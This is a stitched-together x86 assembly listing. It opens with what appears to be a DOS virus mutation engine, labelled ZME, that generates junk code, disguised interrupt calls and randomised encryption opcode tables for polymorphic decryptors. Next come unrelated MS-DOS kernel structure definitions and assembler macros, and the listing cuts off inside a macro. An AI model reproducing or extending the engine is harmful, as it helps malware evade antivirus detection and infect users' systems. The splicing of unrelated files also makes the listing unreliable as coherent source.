;Ä encode int 21 ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_int21
mov protect_reg, R_AX
test [engdata.zmeflags], MASK EN_USE_INT
jz unprotect_reg1
cmp [engdata.useregs], REG_ALL
jne unprotect_reg1
call RND_GET_BYTE
; jz encode_int
DOIF Z
;ÄENCODE INTERRUPTÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel encode_int
call RND_GET_THREE_BITS
test [engdata.zmeflags], MASK EN_RELOCATOR
DOIF Z ;only without relocator
call RND_GET_THREE_BITS
; jz encode_cpm
DOIF Z
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_cpm
call encode_push_addr
push bx
call many_nonbranch_garble
STO_BYTE opPUSH_CS ; encode PUSH CS
call many_nonbranch_garble
call RND_GET_THREE_BITS ;push sux
call push_any_sux ;al-register for push
call many_nonbranch_garble
mov cl,R_CX ;mov cx,cpmfunc
call encode_mov
call RND_GET_THREE_BITS
add ax, offset cpm
xchg si, ax
movsb
call RND_GET
stosb
call RND_GET_THREE_BITS
mov cx, ax
mov al, 0Ch
sub al, cl
shl al, 4
xchg dx, ax
call encode_far_jmp
pop bx
add [bx], di
pblabel unprotect_reg1
jmp unprotect_reg
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONE
DONE
;Ä encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp al, 5
DOIF A ;need setup
push ax
sto_byte opMOV_AHimm
test ax, di ;pseudo-random
sbb ax, ax ;-1 | 0
inc ax ;
inc ax ;
stosb ; 1 | 2
pop ax
DONE
add ax, offset int_any_reg
push ax

  
call many_nonbranch_garble
pop si
sto_byte opINT
movsb
pblabel unprotect_reg
mov protect_reg, -1
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONE
call RND_GET_BYTE
DOIF Z
call choose_function
sto_two_byte opINT, 21h
DOELSE
call RND_GET_BYTE
mov al,6
DOIF Z
sub al,6-1Eh
DONE
stosb ;push ds(es)
push ax
call many_nonbranch_garble
call choose_word_register
xchg cx, ax
call encode_mov
call RND_GET_THREE_BITS
stosw
shl ax, 4
mov [engdata.segm_IDT], 84h
sub [engdata.segm_IDT], al
;- enc mov ds(es), reg
sto_byte 8Eh
pop ax
push ax ;ax=6 | 1E
MASKA al, 110xx000
add al, cl
stosb
call choose_function ;clear C before pushf
sto_byte opPUSHF ;pushf
; call many_nonbranch_garble

test [engdata.zmeflags], MASK EN_RELOCATOR
GOIN NZ ;force use call
call RND_GET
DOIF Z ;use call
pop ax
push ax ;ax=6 | 1E
cmp al,6
DOIF E
sto_byte opSEGES ;seges
DONE ;ZF=1 -> 26, ZF=0 -> EB(maybe)
sto_two_byte 0ffh, 1Eh
mov al, [engdata.segm_IDT]
xor ah, ah
stosw
DOELSE ;use jmp
sto_byte opPUSH_CS ;push cs
call encode_push_addr
pop ax
push ax ;ax=6 | 1E
cmp al, 6
DOIF E
sto_byte opSEGES ;seges
DONE
push bx
sto_two_byte 0ffh, 2Eh
mov al, [engdata.segm_IDT]
xor ah, ah
stosw
call shit
pop bx
add [bx],di
DONE
pop ax
inc ax
stosb
DONE
;ÄÄ encode test CF after int21 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call RND_GET_BYTE
DOIF NZ
; jz @@ret ;maybe :)
mov al, opJC
adc al, 0
stosb
cmp si, offset cf_1
DOIF A ;if instruct > 0A -> 73<=>72
dec ax
DONE
cmp al, opJC
DOIF NE ;73(jnc)
call RND_GET_THREE_BITS
inc ax ;al=1..8
stosb ;over shit
call shit_ax
DOELSE ;72(jc)
call RND_GET_BYTE ; to shit
stosb
DONE
DONE
pblabel unprotect_reg2
jmp unprotect_reg
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
;----------------------------------------------------------------------------
ONEHALF = 0
TWOHALF = 1 ;USE _ANY_ REGISTER FOR THIS OPERATION
BINOP = 0 ;TWO ARGUMENT OPERATION
UNEOP = 1 ;ONE ARGUMENT OPERATION
ONLY_THIS_OPCODE = 00b
USE_ANY_SIZE = 01b
INCL_NEXT_OPCODE = 11b
;----------------------------------------------------------------------------
dop macro highopcode, shiftneg, lowpcode, twohalf, secdlim
db highopcode or shiftneg, lowpcode or ((twohalf shl 2) and 4) or secdlim
endm
;----------------------------------------------------------------------------
pblabel garble_table ;for decrypt
pblabel encrypt_opcode_table
dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ;³
dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ;³
dop 11010000b, UNEOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³

dop 10000000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³Ú
dop 00000010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 00110010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 00101010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 10000000b, BINOP, 11101000b, ONEHALF, USE_ANY_SIZE ;À³
; ³
dop 11010000b, UNEOP, 11001000b, ONEHALF, USE_ANY_SIZE ; ³
dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ; ³
dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ; ³
; for encrypt
pblabel end_encrypt_opcode_table ; ^---^^-simetrichno
sizeof_encrypt_opcode_table equ ($-encrypt_opcode_table)

;startup
pblabel enc_mov_imm
dop 10110000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00010010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00011010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00100010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE;
; dop 00111000b, BINOP, 00000000b, TWOHALF, INCL_NEXT_OPCODE
dop 00111010b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE
; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
;
; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE;
dop 10000000b, BINOP, 11001000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11010000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11011000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE

; dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE
dop 10000100b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE
dop 11010000b, UNEOP, 11001000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11010000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11011000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11100000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11101000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE
; dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE
dop 11110110b, UNEOP, 11010000b, ONEHALF, USE_ANY_SIZE
; ^^ |= (RND and ^^)
; ^ 1 -> use any register & memory
; ^^ = 0 possible use memory, 11- registers only
; ^- if 1 then not need arguments(shift, not, neg)
pblabel enc_test
dop 11110110b, BINOP, 11000000b, TWOHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11111000b, TWOHALF, USE_ANY_SIZE
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel onebyte_table
stc ; |
clc ; |
cld ; |
cmc ; |
sahf ; |
pblabel onebyte_table_ax ; |
cli ;-\
dec ax ; |
inc ax ;-/-\
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ|ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lahf ; |
daa ; |
das ; |
cbw ; |
xlat ; /
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h,058h,075h,006h,05Fh,055h
db 08Bh,0ECh,0FFh,0E7h
pblabel ZME_END
ends
end

;read/write int 25/26
AbsDiskIORec STRUC
AbsDisk_start_sect dd ? ; lStartSect logical sector no. to start r/w
AbsDisk_sect_num dw ? ; wSectCnt number of sectors to read/write
AbsDisk_buffer dd ? ; pBuffer FAR addr of data buffer
ENDS

; SCCSID = @(#)arena.asm 1.1 85/04/09
;BREAK <Memory arena structure>

;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
;
; arena item
;
arena STRUC
arena_signature DB ? ; 4D for valid item, 5A for last item
arena_owner DW ? ; owner of arena item
arena_size DW ? ; size in paragraphs of item
arena ENDS

;
; CAUTION: The routines in ALLOC.ASM rely on the fact that arena_signature
; and arena_owner_system are all equal to zero and are contained in DI. Change
; them and change ALLOC.ASM.

arena_owner_system EQU 0 ; free block indication

arena_signature_normal EQU 4Dh ; valid signature, not end of arena
arena_signature_end EQU 5Ah ; valid signature, last block in arena
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

; SCCSID = @(#)dirent.asm 1.1 85/04/10
; SCCSID = @(#)dirent.asm 1.1 85/04/10
;Break <Directory entry>

;
; +---------------------------+
; | (12 BYTE) filename/ext | 0 0
; +---------------------------+
; | (BYTE) attributes | 11 B
; +---------------------------+
; | (10 BYTE) reserved | 12 C
; +---------------------------+
; | (WORD) time of last write | 22 16
; +---------------------------+
; | (WORD) date of last write | 24 18
; +---------------------------+
; | (WORD) First cluster | 26 1A
; +---------------------------+
; | (DWORD) file size | 28 1C
; +---------------------------+
;
; First byte of filename = E5 -> free directory entry
; = 00 -> end of allocated directory
; Time: Bits 0-4=seconds/2, bits 5-10=minute, 11-15=hour
; Date: Bits 0-4=day, bits 5-8=month, bits 9-15=year-1980
;

dir_entry STRUC
dir_name DB 11 DUP (?) ; file name
dir_attr DB ? ; attribute bits
dir_pad DB 10 DUP (?) ; reserved for expansion
dir_time DW ? ; time of last write
dir_date DW ? ; date of last write
dir_first DW ? ; first allocation unit of file
dir_size_l DW ? ; low 16 bits of file size
dir_size_h DW ? ; high 16 bits of file size
dir_entry ENDS

attr_read_only EQU 1h
attr_hidden EQU 2h
attr_system EQU 4h
attr_volume_id EQU 8h
attr_directory EQU 10h
attr_archive EQU 20h
attr_device EQU 40h ; This is a VERY special bit.
; NO directory entry on a disk EVER
; has this bit set. It is set non-zero
; when a device is found by GETPATH

attr_all EQU attr_hidden+attr_system+attr_directory
; OR of hard attributes for FINDENTRY

attr_ignore EQU attr_read_only+attr_archive+attr_device
; ignore this(ese) attribute(s) during
; search first/next

attr_changeable EQU attr_read_only+attr_hidden+attr_system+attr_archive
; changeable via CHMOD

; SCCSID = @(#)dpb.asm 1.1 85/04/10
; SCCSID = @(#)dpb.asm 1.1 85/04/10
;BREAK <DPB structure>
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
dpb STRUC
dpb_drive DB ? ; Logical drive # assoc with DPB
dpb_UNIT DB ? ; Driver unit number of DPB
dpb_sector_size DW ? ; Size of physical sector in bytes
dpb_cluster_mask DB ? ; Sectors/cluster - 1
dpb_cluster_shift DB ? ; Log2 of sectors/cluster
dpb_first_FAT DW ? ; Starting record of FATs
dpb_FAT_count DB ? ; Number of FATs for this drive
dpb_root_entries DW ? ; Number of directory entries
dpb_first_sector DW ? ; First sector of first cluster
dpb_max_cluster DW ? ; Number of clusters on drive + 1
dpb_FAT_size DB ? ; Number of records occupied by FAT
dpb_dir_sector DW ? ; Starting record of directory
dpb_driver_addr DD ? ; Pointer to driver
dpb_media DB ? ; Media byte
dpb_first_access DB ? ; This is init. to -1 to force a media
; check the first time this DPB is used
dpb_next_dpb DD ? ; Pointer to next Drive parameter block
dpb_next_free DW ? ; Cluster # of last allocated cluster
dpb_free_cnt DW ? ; Count of free clusters, -1 if unknown
dpb ENDS

DPBSIZ EQU SIZE dpb ; Size of the structure in bytes

DSKSIZ = dpb_max_cluster ; Disk size (used during init only)
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

; SCCSID = @(#)exe.asm 1.1 85/04/10
; SCCSID = @(#)exe.asm 1.1 85/04/10
;BREAK <EXEC and EXE file structures>
;
; EXEC arg block - load/go program
;

;
; The following get used as arguments to the EXEC system call. They indicate
; whether or not the program is executed or whether or not a program header
; gets created.
;
exec_func_no_execute EQU 1 ; no execute bit
exec_func_overlay EQU 2 ; overlay bit

Exec0 STRUC
Exec0_environ DW ? ; seg addr of environment
Exec0_com_line DD ? ; pointer to asciz command line
Exec0_5C_FCB DD ? ; default fcb at 5C
Exec0_6C_FCB DD ? ; default fcb at 6C
Exec0 ENDS

Exec1 STRUC
Exec1_environ DW ? ; seg addr of environment
Exec1_com_line DD ? ; pointer to asciz command line
Exec1_5C_FCB DD ? ; default fcb at 5C
Exec1_6C_FCB DD ? ; default fcb at 6C
Exec1_SP DW ? ; stack pointer of program
Exec1_SS DW ? ; stack seg register of program
Exec1_IP DW ? ; entry point IP
Exec1_CS DW ? ; entry point CS
Exec1 ENDS

Exec3 STRUC
Exec3_load_addr DW ? ; seg address of load point
Exec3_reloc_fac DW ? ; relocation factor
Exec3 ENDS

;
; Exit codes in upper byte
;
Exit_terminate EQU 0
Exit_abort EQU 0
Exit_Ctrl_C EQU 1
Exit_Hard_Error EQU 2
Exit_Keep_process EQU 3

;
; EXE file header
;

EXE_file STRUC
exe_signature DW ? ; must contain 4D5A (yay zibo!)
exe_len_mod_512 DW ? ; low 9 bits of length
exe_pages DW ? ; number of 512b pages in file
exe_rle_count DW ? ; count of reloc entries
exe_par_dir DW ? ; number of paragraphs before image
exe_min_BSS DW ? ; minimum number of para of BSS
exe_max_BSS DW ? ; max number of para of BSS
exe_SS DW ? ; stack of image
exe_SP DW ? ; SP of image
exe_chksum DW ? ; checksum of file (ignored)
exe_IP DW ? ; IP of entry
exe_CS DW ? ; CS of entry
exe_rle_table DW ? ; byte offset of reloc table
exe_iov DW ? ; overlay number (0 for root)
exe_sym_tab DD ? ; offset of symbol table in file
EXE_file ENDS

exe_valid_signature EQU 5A4Dh
exe_valid_old_signature EQU 4D5Ah

symbol_entry STRUC
sym_value DD ?
sym_type DW ?
sym_len DB ?
sym_name DB 255 dup (?)
symbol_entry ENDS

; SCCSID = @(#)find.asm 1.1 85/04/10
; SCCSID = @(#)find.asm 1.1 85/04/10
;Break <find first/next buffer>

find_buf STRUC
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
find_buf_drive DB ? ; drive of search
find_buf_name DB 11 DUP (?) ; formatted name
find_buf_sattr DB ? ; attribute of search
find_buf_LastEnt DW ? ; LastEnt
find_buf_DirStart DW ? ; DirStart
find_buf_NetID DB 4 DUP (?) ; Reserved for NET
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

find_buf_attr DB ? ; attribute found
find_buf_time DW ? ; time
find_buf_date DW ? ; date
find_buf_size_l DW ? ; low(size)
find_buf_size_h DW ? ; high(size)
find_buf_pname DB 13 DUP (?) ; packed name
find_buf ENDS

; SCCSID = @(#)pdb.asm 1.1 85/04/10
;BREAK <Process data block>

;
; Process data block (otherwise known as program header)
;

FilPerProc EQU 20

Process_data_block STRUC
PDB_Exit_Call DW ? ; INT int_abort system terminate
PDB_block_len DW ? ; size of execution block
DB ?
PDB_CPM_Call DB 5 DUP (?) ; ancient call to system
PDB_Exit DD ? ; pointer to exit routine
PDB_Ctrl_C DD ? ; pointer to ^C routine
PDB_Fatal_abort DD ? ; pointer to fatal error
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_Parent_PID DW ? ; PID of parent (terminate PID)
PDB_JFN_Table DB FilPerProc DUP (?)
; indices into system table
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
PDB_environ DW ? ; seg addr of environment
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_User_stack DD ? ; stack of self during system calls
PDB_JFN_Length DW ? ; number of handles allowed
PDB_JFN_Pointer DD ? ; pointer to JFN table
PDB_Next_PDB DD ? ; pointer to nested PDB's
PDB_PAD1 DB 14h DUP (?)
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
PDB_Call_system DB 5 DUP (?) ; portable method of system call
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_PAD2 DB 7h DUP (?)
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
Process_data_block ENDS

; SCCSID = @(#)sf.asm 1.1 85/04/10
;BREAK <Internal system file table format>

;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
;
; system file table
;

SF STRUC
SFLink DD ?
SFCount DW ? ; number of entries
SFTable DW ? ; beginning of array of the following
SF ENDS

;
; system file table entry
;

sf_entry STRUC
sf_ref_count DW ? ; number of processes sharing entry
; if FCB then ref count
sf_mode DW ? ; mode of access or high bit on if FCB
sf_attr DB ? ; attribute of file
sf_flags DW ? ;Bits 8-15
; Bit 15 = 1 if remote file
; = 0 if local file or device
; Bit 14 = 1 if date/time is not to be
; set from clock at CLOSE. Set by
; FILETIMES and FCB_CLOSE. Reset by
; other reseters of the dirty bit
; (WRITE)
; Bit 13 = Pipe bit (reserved)
;
; Bits 0-7 (old FCB_devid bits)
; If remote file or local file, bit
; 6=0 if dirty Device ID number, bits
; 0-5 if local file.
; bit 7=0 for local file, bit 7
; =1 for local I/O device
; If local I/O device, bit 6=0 if EOF
; Bit 5=1 if Raw mode
; Bit 0=1 if console input device
; Bit 1=1 if console output device
; Bit 2=1 if null device
; Bit 3=1 if clock device
sf_devptr DD ? ; Points to DPB if local file, points
; to device header if local device,
; points to net device header if
; remote
sf_firclus DW ? ; First cluster of file (bit 15 = 0)
sf_time DW ? ; Time associated with file
sf_date DW ? ; Date associated with file
sf_size DD ? ; Size associated with file
sf_position DD ? ; R/W pointer or LRU count for FCBs
;
; Starting here, the next 7 bytes may be used by the file system to store an
; ID
;
sf_cluspos DW ? ; Position of last cluster accessed
sf_lstclus DW ? ; Last cluster accessed
sf_dirsec DW ? ; Sector number for this file
sf_dirpos DB ? ; Offset of this entry in the above
;
; End of 7 bytes of file-system specific info.
;
sf_name DB 11 DUP (?) ; 11 character name that is in the
; directory entry. This is used by
; close to detect file deleted and
; disk changed errors.
; SHARING INFO
sf_chain DD ? ; link to next SF
sf_UID DW ?
sf_PID DW ?
sf_MFT DW ?
sf_entry ENDS

sf_netid EQU BYTE PTR sf_cluspos
sf_OpenAge EQU WORD PTR sf_position+2
sf_LRU EQU WORD PTR sf_position

sf_default_number EQU 5h

;
; Note that we need to mark an SFT as being busy for OPEN/CREATE. This is
; because an INT 24 may prevent us from 'freeing' it. We mark this as such
; by placing a -1 in the ref_count field.
;

sf_busy EQU -1

; mode mask for FCB detection
sf_isfcb EQU 1000000000000000B

; Flag word masks
sf_isnet EQU 1000000000000000B
sf_close_nodate EQU 0100000000000000B
sf_pipe EQU 0010000000000000B
sf_no_inherit EQU 0001000000000000B
sf_net_spool EQU 0000100000000000B

; Local file/device flag masks
devid_file_clean EQU 40h ; true if file and not written
devid_file_mask_drive EQU 3Fh ; mask for drive number

devid_device EQU 80h ; true if a device
devid_device_EOF EQU 40h ; true if end of file reached
devid_device_raw EQU 20h ; true if in raw mode
devid_device_special EQU 10h ; true if special device
devid_device_clock EQU 08h ; true if clock device
devid_device_null EQU 04h ; true if null device
devid_device_con_out EQU 02h ; true if console output
devid_device_con_in EQU 01h ; true if consle input
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

;
; structure of devid field as returned by IOCTL is:
;
; BIT 7 6 5 4 3 2 1 0
; |---|---|---|---|---|---|---|---|
; | I | E | R | S | I | I | I | I |
; | S | O | A | P | S | S | S | S |
; | D | F | W | E | C | N | C | C |
; | E | | | C | L | U | O | I |
; | V | | | L | K | L | T | N |
; |---|---|---|---|---|---|---|---|
; ISDEV = 1 if this channel is a device
; = 0 if this channel is a disk file
;
; If ISDEV = 1
;
; EOF = 0 if End Of File on input
; RAW = 1 if this device is in Raw mode
; = 0 if this device is cooked
; ISCLK = 1 if this device is the clock device
; ISNUL = 1 if this device is the null device
; ISCOT = 1 if this device is the console output
; ISCIN = 1 if this device is the console input
;
; If ISDEV = 0
; EOF = 0 if channel has been written
; Bits 0-5 are the block device number for
; the channel (0 = A, 1 = B, ...)
;
devid_ISDEV EQU 80h
devid_EOF EQU 40h
devid_RAW EQU 20h
devid_SPECIAL EQU 10H
devid_ISCLK EQU 08h
devid_ISNUL EQU 04h
devid_ISCOT EQU 02h
devid_ISCIN EQU 01h

devid_block_dev EQU 1Fh ; mask for block device number

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
s_y MACRO oprt, cntr, dsiz
&oprt&cntr&dsiz MACRO
REPT cntr
&oprt&&dsiz
ENDM
ENDM
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
s_z MACRO oprt, cntr, cmmd
oprt&cntr MACRO
REPT cntr shr 1
&cmmd&w
ENDM
IF cntr and 1
&cmmd&b
ENDIF
ENDM
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IRPC cntr, 12345
IRP dsiz, <B,W,D>
IRP oprt, <stos, scas, lods, movs, cmps, ins, outs>
s_y oprt, cntr, dsiz
ENDM
ENDM
s_z movs, cntr, movs
s_z add_di, cntr, scas
s_z add_si, cntr, lods
s_z add_sdi, cntr, cmps
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
PURGE s_y, s_z
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
STO_BYTE MACRO value:REQ
mov al, value
stosb
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
STO_WORD_ MACRO value
mov ax, value
stosw
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
STO_WORD MACRO value
IF value NE 0
mov ax, value
ELSE
sub ax, ax
ENDIF
stosw
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
STO_TWO_BYTE MACRO value1:REQ, value2:REQ
; STO_WORD (value2 shl 8) or value1
IF (value2 shl 8) or value1
mov ax, (value2 shl 8) or value1
ELSE
sub ax, ax
ENDIF
stosw
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MOVSEG macro to_seg, from_seg
push from_seg
pop to_seg
endm
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MASKA MACRO regis1:REQ, mask2:REQ ;MASKA al, 001xx110
;and al, 00?11??0
;or al, 00100110
local x, tmp_mask
x=1
tmp_mask = 0
IRPC sb, mask2
tmp_mask = tmp_mask*2+sb
ENDM
and regis1, tmp_mask

x=0
tmp_mask = 0
IRPC sb, mask2
tmp_mask = tmp_mask*2+sb
ENDM
IF tmp_mask NE 0
or regis1, tmp_mask
ENDIF
ENDM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MIN MACRO frst, scnd
local nomov
